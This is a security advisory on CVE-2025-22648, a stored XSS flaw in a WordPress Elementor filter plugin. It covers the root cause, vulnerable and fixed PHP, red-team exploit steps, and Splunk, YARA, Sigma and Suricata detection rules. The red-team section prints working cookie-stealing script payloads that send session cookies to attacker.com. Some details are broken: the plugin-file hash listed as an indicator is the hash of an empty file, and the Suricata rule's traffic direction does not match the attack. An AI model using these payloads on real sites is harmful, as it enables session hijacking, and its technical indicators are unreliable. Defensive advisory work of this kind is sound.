CVE-2025-22648

Executive Summary

CVE-2025-22648 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Blog, Posts and Category Filter for Elementor (versions <= 2.0.1). The plugin fails to properly neutralize user input during web page generation, allowing authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript into posts or pages. This injected script executes in the context of any user viewing the affected content, leading to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This plugin is distributed via the official WordPress Plugin Directory. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin. Administrators should verify plugin integrity and consider removal.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Admin viewing)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can affect all site visitors.

Deep Dive & Mechanics

The vulnerability resides in the plugin's filter functionality, which processes user-supplied data (e.g., filter names, category labels) without proper sanitization or output encoding. When an attacker with contributor-level privileges creates or edits a post using the Elementor filter widget, they can inject malicious JavaScript into fields such as:

• Filter title
• Category names
• Custom CSS classes

The plugin stores this input in the WordPress database and renders it directly in the HTML without escaping. When an administrator or visitor loads the page, the injected script executes in their browser.

Root Cause: The plugin uses echo or the_title() without applying esc_html() or wp_kses_post() on user-controlled data.

Attack Flow:

1. Attacker logs in as a contributor.
2. Creates a new post with the Elementor filter widget.
3. Injects <script>alert('XSS')</script> into a filter name field.
4. Saves the post.
5. Admin or visitor views the post → script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.0.1):

// In filter-widget.php
echo '<h3 class="filter-title">' . $filter_name . '</h3>';

Patched Code (hypothetical fix):

// In filter-widget.php
echo '<h3 class="filter-title">' . esc_html( $filter_name ) . '</h3>';

The vulnerable code directly outputs $filter_name without escaping. The patched version uses esc_html() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with plugin installed (<= 2.0.1)
• Contributor-level account

Exploit Steps:

1. Log in as contributor.
2. Navigate to Posts → Add New.
3. Add Elementor filter widget.
4. In the filter name field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the post.
6. Wait for admin to view the post, or share the link.

Payload Example:

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team

Detection:

• Monitor for posts containing <script> tags in custom fields.
• Check for unusual outbound connections from WordPress admin pages.
• Review logs for POST requests to /wp-admin/post.php with suspicious payloads.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri="/wp-admin/post.php" form_data=*<script>*
| table _time, src_ip, user, form_data

Indicators of Compromise (IOCs)

• File Hashes (plugin files):
  • blog-posts-and-category-for-elementor.php (SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com)
• Log Entries:
  • POST /wp-admin/post.php with post_content containing <script>
• Database Indicators:
  • wp_posts.post_content containing <script> tags

Detection Engineering

YARA Rule

rule CVE_2025_22648_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress plugin Blog, Posts and Category Filter for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22648"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $plugin_file = "blog-posts-and-category-for-elementor"
    condition:
        $plugin_file and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Blog, Posts and Category Filter for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the vulnerable plugin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'post_content'
    keywords:
        - '<script>'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22648 Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove the plugin from all WordPress installations.
3. Scan for existing XSS payloads in posts/pages using the YARA rule above.
4. Reset all user sessions if compromise is suspected.

Long-term Fix:

• Replace the plugin with an alternative (e.g., "Filter Everything" or "JetSmartFilters").
• Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data.
• Enforce principle of least privilege: restrict contributor roles.

Patch Workaround: If removal is not possible, manually edit the plugin file:

// In filter-widget.php, replace:
echo '<h3 class="filter-title">' . $filter_name . '</h3>';
// With:
echo '<h3 class="filter-title">' . esc_html( $filter_name ) . '</h3>';

Valters IT
Securing Digital Frontiers